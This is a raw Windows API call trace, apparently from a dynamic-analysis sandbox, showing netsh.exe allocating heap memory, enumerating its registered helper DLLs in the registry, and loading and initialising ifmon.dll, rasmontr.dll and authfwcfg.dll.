	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870990
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870a10
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728706b0
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870bf0
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870470
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728705b0
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870af0
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870b10
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870bd0
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870b30
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870510
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870630
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728707b0
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870b50
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870650
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870b90
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870490
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728704b0
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870670
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870810
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870e60
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728711a0
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870d40
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72871000
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728712a0
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.471] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870c80
	[0215.471] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870ca0
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870d20
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870e20
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72871060
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870f20
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870d00
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870fe0
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870f00
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870e00
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728712e0
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870cc0
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870d60
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870ce0
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870f40
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728712c0
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72871280
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870d80
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.472] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72871300
	[0215.472] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870f60
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870f80
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72871320
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728710e0
	[0215.473] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5
	[0215.473] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x28) returned 0x1fa72868880
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x2) returned 0x1fa7286da80
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x14) returned 0x1fa728713e0
	[0215.473] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE"
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x58) returned 0x1fa728656b0
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.473] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xb0) returned 0x1fa72865030
	[0215.473] GetProcessHeap () returned 0x1fa72860000
	[0215.474] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728656b0) returned 1
	[0215.474] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ff85f180000
	[0215.476] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x7e07767848 | out: phkResult=0x7e07767848*=0xb4) returned 0x0
	[0215.476] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7e07767880, lpcbMaxValueNameLen=0x7e07767890, lpcbMaxValueLen=0x7e07767888, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7e07767880*=0x14, lpcbMaxValueNameLen=0x7e07767890, lpcbMaxValueLen=0x7e07767888, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0215.476] GetProcessHeap () returned 0x1fa72860000
	[0215.476] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x8, Size=0x16) returned 0x1fa72871140
	[0215.476] GetProcessHeap () returned 0x1fa72860000
	[0215.476] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x8, Size=0x23) returned 0x1fa72868700
	[0215.476] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="2", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0215.476] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10
	[0215.476] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10
	[0215.476] GetProcessHeap () returned 0x1fa72860000
	[0215.476] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x50) returned 0x1fa72871850
	[0215.476] GetProcessHeap () returned 0x1fa72860000
	[0215.476] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x4) returned 0x1fa7286dbd0
	[0215.476] GetProcessHeap () returned 0x1fa72860000
	[0215.476] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x14) returned 0x1fa728711c0
	[0215.476] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL"
	[0215.476] GetProcessHeap () returned 0x1fa72860000
	[0215.476] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72868880) returned 1
	[0215.476] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff85d5c0000
	[0215.536] GetProcAddress (hModule=0x7ff85d5c0000, lpProcName="InitHelperDll") returned 0x7ff85d5c1310
	[0215.536] InitHelperDll () returned 0x0
	[0215.539] RegisterHelper () returned 0x0
	[0215.539] GetProcessHeap () returned 0x1fa72860000
	[0215.539] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x108) returned 0x1fa728642e0
	[0215.539] GetProcessHeap () returned 0x1fa72860000
	[0215.539] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72865030) returned 1
	[0215.593] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="4", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0215.593] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9
	[0215.593] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9
	[0215.593] GetProcessHeap () returned 0x1fa72860000
	[0215.593] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x78) returned 0x1fa72865030
	[0215.593] GetProcessHeap () returned 0x1fa72860000
	[0215.593] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x4) returned 0x1fa7286db30
	[0215.593] GetProcessHeap () returned 0x1fa72860000
	[0215.593] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa728688b0
	[0215.593] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL"
	[0215.593] GetProcessHeap () returned 0x1fa72860000
	[0215.593] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871850) returned 1
	[0215.593] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff8509a0000
	[0216.709] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ff8602c0000
	[0216.710] GetVersion () returned 0x3ad7000a
	[0216.710] SetErrorMode (uMode=0x0) returned 0x0
	[0216.710] SetErrorMode (uMode=0x8001) returned 0x0
	[0216.710] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x1fa72883050
	[0216.711] LocalFree (hMem=0x1fa72883050) returned 0x0
	[0216.711] GetVersion () returned 0x3ad7000a
	[0216.712] GlobalLock (hMem=0x1fa74160008) returned 0x1fa72883050
	[0216.712] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1fa72883270
	[0216.712] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1fa728798b0
	[0216.712] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1fa72870e40
	[0216.712] malloc (_Size=0x100) returned 0x1fa729b6de0
	[0216.717] __dllonexit () returned 0x7ff846741200
	[0216.717] __dllonexit () returned 0x7ff8467411f0
	[0216.717] __dllonexit () returned 0x7ff846741240
	[0216.718] __dllonexit () returned 0x7ff8467412a0
	[0216.718] __dllonexit () returned 0x7ff846741390
	[0216.718] __dllonexit () returned 0x7ff8467413a0
	[0216.718] __dllonexit () returned 0x7ff846741420
	[0216.718] __dllonexit () returned 0x7ff8467414c0
	[0216.718] __dllonexit () returned 0x7ff8467412c0
	[0216.718] __dllonexit () returned 0x7ff8467659c0
	[0216.718] __dllonexit () returned 0x7ff8467412e0
	[0216.718] __dllonexit () returned 0x7ff846741470
	[0216.718] __dllonexit () returned 0x7ff846741490
	[0216.718] __dllonexit () returned 0x7ff8467414e0
	[0216.718] __dllonexit () returned 0x7ff846741500
	[0216.718] __dllonexit () returned 0x7ff846741520
	[0216.719] __dllonexit () returned 0x7ff846741550
	[0216.719] __dllonexit () returned 0x7ff846741610
	[0216.719] __dllonexit () returned 0x7ff846741050
	[0216.719] __dllonexit () returned 0x7ff846741070
	[0216.719] __dllonexit () returned 0x7ff846741030
	[0216.721] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc153
	[0216.721] __dllonexit () returned 0x7ff8467659a0
	[0216.721] __dllonexit () returned 0x7ff846765980
	[0216.721] __dllonexit () returned 0x7ff8467659b0
	[0216.722] __dllonexit () returned 0x7ff846765990
	[0216.722] GetVersion () returned 0x3ad7000a
	[0216.722] GetVersion () returned 0x3ad7000a
	[0216.722] GetVersion () returned 0x3ad7000a
	[0216.722] __dllonexit () returned 0x7ff8467528e0
	[0216.722] __dllonexit () returned 0x7ff846752910
	[0216.722] __dllonexit () returned 0x7ff846741300
	[0216.722] __dllonexit () returned 0x7ff8467413b0
	[0216.722] __dllonexit () returned 0x7ff8467413d0
	[0216.722] __dllonexit () returned 0x7ff8467526e0
	[0216.722] GetVersion () returned 0x3ad7000a
	[0216.722] GetProcessVersion (ProcessId=0x0) returned 0xa0000
	[0216.723] GetSystemMetrics (nIndex=11) returned 32
	[0216.723] GetSystemMetrics (nIndex=12) returned 32
	[0216.723] GetSystemMetrics (nIndex=2) returned 17
	[0216.723] GetSystemMetrics (nIndex=3) returned 17
	[0216.723] GetDC (hWnd=0x0) returned 0x60105c9
	[0216.723] GetDeviceCaps (hdc=0x60105c9, index=88) returned 96
	[0216.723] GetDeviceCaps (hdc=0x60105c9, index=90) returned 96
	[0216.723] ReleaseDC (hWnd=0x0, hDC=0x60105c9) returned 1
	[0216.723] GetSysColor (nIndex=15) returned 0xf0f0f0
	[0216.723] GetSysColor (nIndex=16) returned 0xa0a0a0
	[0216.723] GetSysColor (nIndex=20) returned 0xffffff
	[0216.723] GetSysColor (nIndex=18) returned 0x0
	[0216.723] GetSysColor (nIndex=6) returned 0x646464
	[0216.723] GetSysColorBrush (nIndex=15) returned 0x100072
	[0216.723] GetSysColorBrush (nIndex=6) returned 0x10007a
	[0216.723] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0216.723] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0216.723] __dllonexit () returned 0x7ff846741450
	[0216.723] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc152
	[0216.723] __dllonexit () returned 0x7ff8467526c0
	[0216.723] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004
	[0216.723] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003
	[0216.723] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002
	[0216.723] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a
	[0216.724] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b
	[0216.724] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d
	[0216.724] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e
	[0216.724] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f
	[0216.724] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006
	[0216.724] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007
	[0216.724] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc0e4
	[0216.724] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc0ed
	[0216.724] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc152
	[0216.724] __dllonexit () returned 0x7ff8467659d0
	[0216.724] __dllonexit () returned 0x7ff8467659f0
	[0216.724] __dllonexit () returned 0x7ff846765a00
	[0216.725] __dllonexit () returned 0x7ff846765a10
	[0216.725] __dllonexit () returned 0x7ff846765a20
	[0216.725] GetCursorPos (in: lpPoint=0x7ff846885ae8 | out: lpPoint=0x7ff846885ae8*(x=1239, y=394)) returned 1
	[0216.725] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1fa728822e0
	[0216.725] LocalReAlloc (hMem=0x1fa72870e40, uBytes=0x18, uFlags=0x2) returned 0x1fa7287d350
	[0216.725] GetCurrentThread () returned 0xfffffffffffffffe
	[0216.726] GetCurrentThreadId () returned 0xdc4
	[0216.726] __dllonexit () returned 0x7ff846741620
	[0216.726] SetErrorMode (uMode=0x0) returned 0x8001
	[0216.726] SetErrorMode (uMode=0x8001) returned 0x0
	[0216.726] GetModuleFileNameW (in: hModule=0x7ff846740000, lpFilename=0x7e07766820, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e
	[0216.726] wcscpy_s (in: _Destination=0x7e07766a30, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0
	[0216.727] FindResourceW (hModule=0x7ff846740000, lpName=0xe01, lpType=0x6) returned 0x1fa729a0bb0
	[0217.089] LoadStringW (in: hInstance=0x7ff846740000, uID=0xe000, lpBuffer=0x7e07766c40, cchBufferMax=256 | out: lpBuffer="") returned 0x0
	[0217.089] wcscpy_s (in: _Destination=0x7e07766854, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0
	[0217.090] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0
	[0217.133] malloc (_Size=0x80) returned 0x1fa729b6e00
	[0217.133] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x1fa728835c0
	[0217.133] GetSystemDirectoryA (in: lpBuffer=0x7e07766ec0, uSize=0x112 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0217.133] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\WINDOWS\\system32\\MFC42") returned 0x0
	[0217.133] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC") returned 0x0
	[0217.133] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC.DLL") returned 0x0
	[0217.133] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0
	[0217.638] GetProcAddress (hModule=0x7ff8509a0000, lpProcName="InitHelperDll") returned 0x7ff8509b5850
	[0217.638] InitHelperDll () returned 0x0
	[0217.640] RegisterHelper () returned 0x0
	[0217.640] GetProcessHeap () returned 0x1fa72860000
	[0217.640] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x160) returned 0x1fa7287aba0
	[0217.640] GetProcessHeap () returned 0x1fa72860000
	[0217.640] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728642e0) returned 1
	[0217.640] RegisterHelper () returned 0x0
	[0217.640] GetProcessHeap () returned 0x1fa72860000
	[0217.640] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1b8) returned 0x1fa7287d370
	[0217.640] GetProcessHeap () returned 0x1fa72860000
	[0217.640] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287aba0) returned 1
	[0217.643] RegisterHelper () returned 0x0
	[0217.643] GetProcessHeap () returned 0x1fa72860000
	[0217.643] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x210) returned 0x1fa7287aba0
	[0217.643] GetProcessHeap () returned 0x1fa72860000
	[0217.643] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287d370) returned 1
	[0217.643] RegisterHelper () returned 0x0
	[0217.643] GetProcessHeap () returned 0x1fa72860000
	[0217.643] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x268) returned 0x1fa7287d370
	[0217.643] GetProcessHeap () returned 0x1fa72860000
	[0217.643] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287aba0) returned 1
	[0217.644] RegisterHelper () returned 0x0
	[0217.644] GetProcessHeap () returned 0x1fa72860000
	[0217.644] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x2c0) returned 0x1fa7287aba0
	[0217.644] GetProcessHeap () returned 0x1fa72860000
	[0217.644] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287d370) returned 1
	[0217.644] RegEnumValueW (in: hKey=0xb4, dwIndex=0x2, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="authfwcfg", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0217.644] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8
	[0217.644] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8
	[0217.644] GetProcessHeap () returned 0x1fa72860000
	[0217.644] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xa0) returned 0x1fa72862830
	[0217.644] GetProcessHeap () returned 0x1fa72860000
	[0217.644] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x14) returned 0x1fa72870fa0
	[0217.644] GetProcessHeap () returned 0x1fa72860000
	[0217.644] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1c) returned 0x1fa72879670
	[0217.644] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL"
	[0217.644] GetProcessHeap () returned 0x1fa72860000
	[0217.644] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72865030) returned 1
	[0217.644] LoadLibraryExW (lpLibFileName="AUTHFWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff84b1b0000
	[0218.366] GetProcAddress (hModule=0x7ff84b1b0000, lpProcName="InitHelperDll") returned 0x7ff84b1b1430
	[0218.366] InitHelperDll () returned 0x0
	[0218.407] RegisterHelper () returned 0x0
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x318) returned 0x1fa7287d370
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287aba0) returned 1
	[0218.407] RegisterHelper () returned 0x0
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x370) returned 0x1fa72885ee0
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287d370) returned 1
	[0218.407] RegisterHelper () returned 0x0
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x3c8) returned 0x1fa7287d370
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72885ee0) returned 1
	[0218.407] RegisterHelper () returned 0x0
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x420) returned 0x1fa72885ee0
	[0218.407] GetProcessHeap () returned 0x1fa72860000
	[0218.407] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287d370) returned 1
	[0218.408] RegisterHelper () returned 0x0
	[0218.408] GetProcessHeap () returned 0x1fa72860000
	[0218.408] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x478) returned 0x1fa7287d370
	[0218.408] GetProcessHeap () returned 0x1fa72860000
	[0218.408] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72885ee0) returned 1
